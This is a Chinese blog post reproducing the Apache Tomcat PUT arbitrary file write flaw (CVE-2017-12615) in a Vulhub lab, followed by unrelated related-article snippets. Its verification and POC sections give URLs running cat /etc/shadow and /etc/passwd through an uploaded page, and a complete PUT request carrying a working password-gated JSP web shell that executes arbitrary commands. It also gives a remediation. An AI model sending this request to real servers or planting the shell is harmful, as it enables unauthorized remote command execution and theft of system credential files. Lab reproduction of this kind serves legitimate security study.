【漏洞复现】Apache_Tomcat_PUT方法任意写文件(CVE-2017-12615)

news2024/12/26 16:10:40

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

      • 1.1、漏洞描述
      • 1.2、漏洞等级
      • 1.3、影响版本
      • 1.4、漏洞复现
        • 1、基础环境
        • 2、漏洞扫描
        • 3、漏洞验证
          • 工具扫描验证
          • POC
      • 1.6、修复建议

说明内容
漏洞编号CVE-2017-12615
漏洞名称Tomcat_PUT方法任意写文件
漏洞评级高危
影响范围Tomcat版本:8.5.19
漏洞描述漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
修复方案设置readonly为true

1.1、漏洞描述

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限

1.2、漏洞等级

高危

1.3、影响版本

Tomcat版本:8.5.19

1.4、漏洞复现

1、基础环境

Path:Vulhub/tomcat/CVE-2017-12615


启动测试环境:

sudo docker-compose up -d

访问http://your-ip:8080/即可看到Tomcat的Example页面

在这里插入图片描述

2、漏洞扫描

nacs工具

在这里插入图片描述

nuclei工具

在这里插入图片描述

3、漏洞验证
工具扫描验证

通过nuclei工具扫出来的结果,验证漏洞存在

http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fshadow

在这里插入图片描述

http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fpasswd

在这里插入图片描述

http://192.168.80.141:8080/poc.jsp?cmd=whoami

在这里插入图片描述

POC

用burpsuite 进行抓包并做如下修改(GET请求改为PUT,修改名字,并在下面添加jsp的shell)

PUT /6.jsp/ HTTP/1.1
Host: 192.168.80.141:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 667

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
 
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>


在这里插入图片描述

在这里插入图片描述

1.6、修复建议

设置readonly为true

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1171341.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python实现多帧torch.istft的结果可以由多个单帧torch.istft的结果重叠拼接得到

&#x1f525; &#x1f525; &#x1f525; 背景&#xff1a;做某个项目&#xff08;由于项目处于保密状态&#xff0c;只提供思路&#xff09;&#xff0c;需要求多帧的istft。但是手头只有单帧的istft代码(当然不能python代码&#xff0c;不然就直接调包)。 &#x1f4e3; …

Quartus II 13.0波形仿真(解决无法产生仿真波形问题)

目录 前言 新建工程 创建Verilog文件&#xff0c;写代码 波形仿真&#xff08;解决没有输出波问题&#xff09; 前言 这么说把Quartus II 13.0是我目前来讲见过最恶心的软件&#xff0c;总是一大堆麻烦事&#xff0c;稍微哪里没弄好就后面全都出问题。很多人在写完Verilog代…

ke9案例三:页面提交文件,我服务器端接收

案例三:页面提交文件,我服务器端接收 ProcessFile.java 1value "/process-file" 2获取邮件消息的所有部分part--Collection<Part> partsrequest.getParts(); 3遍历每一个part 4之后可以打印头文件等String headerpart.getHeader("content-disposition&q…

配件管理系统软件哪家好?企业配件管理要怎么做?

在许多企业中&#xff0c;生产数据的记录仍然依赖于纸质流转卡&#xff0c;这种传统的方式带来了许多问题。手工填写导致的字迹潦草、数据不准确或不完全、统计困难等都是无法避免的问题。为了解决这些问题&#xff0c;我们推荐使用一款智能配件管理系统&#xff0c;帮助企业从…

Springboot搭建微服务案例之Eureka注册中心

一、父工程依赖管理 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org…

常见通信协议

博客内容&#xff1a;UART,IIC,SPI 文章目录 一、UART二、IIC三、SPI总结 一、UART 一种串行通信接口协议&#xff0c;用于在计算机系统和外部设备之间进行数据传输。UART可以支持异步和同步两种通信方式。在异步通信方式下&#xff0c;数据传输不需要在发送方和接收方之间进行…

自学SLAM(7)非线性优化实践:曲线拟合问题(使用ceres库和SLAM常用的g2o库)

前言 本次文章针对的是第四个视屏中的实践问题 肯定会有部分方法没有说到&#xff0c;比如高斯牛顿法&#xff0c;后面我会把此次视屏对应的作业写好&#xff0c;然后补充到此次博客&#xff01;&#xff01; 文章目录 前言1.曲线拟合题目&#xff1a;2.非线性最小二乘2.1 黄金…

网络基础扫盲-初识网络

博客内容&#xff1a;初识网络 文章目录 一、OSI七层网络模型二、TCP/IP四层模型1、MAC地址与IP地址 前言 在以前网络不够发之前&#xff0c;各个实验室进行一些研究时需要进行数据的交流&#xff0c;但是那时车马很慢&#xff0c;一生只够跑几次&#xff0c;所以就有人研究了网…

Reshape.XL 1.2 for Excel插件 Crack

特征 插件 Reshape.XL 包括 130 个基本可组合功能。使用它们&#xff0c;您可以快速轻松地进行非常复杂的数据转换和处理。它们的架构和基本定义受到 SQL 和 R 语言的强烈启发。 到目前为止&#xff0c;类似的功能只能通过脚本语言供程序员使用。借助 Reshape.XL 插件&#xf…

Pyhotn: Mac安装selenium和chromedriver-119

1.0 安装selenium 终端输入&#xff1a; pip install selenium 查看版本&#xff1a; pip show selenium2.0 安装chromedriver 查看chrome版本 网上大多数是&#xff0c;基本到114就停了。 https://registry.npmmirror.com/binary.html?pathchromedriver/ 各种搜索&#…

Java自学第4课:Java数组,类,对象

1 一维数组的创建和使用 2种创建形式&#xff1a; &#xff08;1&#xff09;先声明&#xff0c;再用new分配内存 &#xff08;2&#xff09;声明的同时分配内存 2种幅值形式 &#xff08;1&#xff09;用new{}赋值 &#xff08;2&#xff09;用{}赋值 如果不使用的话&a…

【jvm】虚拟机栈

目录 一、背景二、栈与堆三、声明周期四、作用五、特点&#xff08;优点&#xff09;六、可能出现的异常七、设置栈内存大小八、栈的存储单位九、栈运行原理十、栈帧的内部结构10.1 说明10.2 局部变量表10.3 操作数栈10.4 动态链接10.5 方法返回地址10.6 一些附加信息 十一、代…

【强化学习】16 ——PPO(Proximal Policy Optimization)

文章目录 前言TRPO的不足PPO特点 PPO-惩罚PPO-截断优势函数估计算法伪代码PPO 代码实践参考 前言 TRPO 算法在很多场景上的应用都很成功&#xff0c;但是我们也发现它的计算过程非常复杂&#xff0c;每一步更新的运算量非常大。于是&#xff0c;TRPO 算法的改进版——PPO 算法…

【PyQt学习篇 · ⑪】:QPushButton和QCommandLinkButton的使用

文章目录 构造函数菜单设置扁平化默认处理右键菜单QCommandLinkButton的使用 构造函数 QPushButton的构造函数如下&#xff1a; """QPushButton(parent: Optional[QWidget] None)QPushButton(text: Optional[str], parent: Optional[QWidget] None)QPushButt…

基于动力学模型的机械臂pid控制

参考资料&#xff1a; 一、如何实现机械臂的控制 在最常见的对机械臂动力学实现控制的问题中&#xff0c;我们会有一段机械臂末端的期望轨迹S&#xff0c;希望通过对机械臂关节处电机转矩的控制实现末端沿期望轨迹的完美运动。控制问题主要分为镇定和跟踪两种&#xff0c;上面…

2023/11/4 JAVA学习

通过匿名内部类

verdi技巧分享--合并多个fsdb文件、统计信号边沿

文章目录 0 前言1 如何显示信号高位的02 统计信号的上升沿、下降沿3 合并信号4 将多个fsdb文件合并成一个 0 前言 分享几个这段时间学到的verdi操作 1 如何显示信号高位的0 这个可能对一些有强迫症的有帮助吧 nand相关的操作&#xff0c;有一些特定的cmd&#xff0c;比如 r…

什么是工分排队模式?看懂之后,又能学会一招拓客引流技巧?

什么是工分排队模式&#xff1f;看懂之后&#xff0c;又能学会一招拓客引流技巧&#xff1f; 背景&#xff1a;当下市场行情呈现出经济平稳快速增长的趋势&#xff0c;但同时也存在物价持续上升的情况。从经济角度来看&#xff0c;当前市场行情呈现出经济平稳快速增长的趋势。这…

职场被迫内卷,云认证破局

前言&#xff1a; 2023年作为疫情全面放开的第一年&#xff0c;经济并没有像22年底时我们想象的那样&#xff0c;快速复苏&#xff0c;GDP增长超10%。取而代之的是&#xff0c;2023年经济大环境对各个行业来说&#xff0c;相比22年显的更加艰难&#xff0c;GDP增长预计在5%左右…

Java数组的定义与常用使用方法

目录 一.什么是数组 二.数组的创建及初始化 数组的创建 数组的初始化 动态初始化&#xff1a; 静态初始化&#xff1a; 【注意】 三.数组的使用 数组中元素访问 遍历数组 四.数组作为方法的参数 参数传基本数据类型 参数传数组类型(引用数据类型) 作为方法的返回…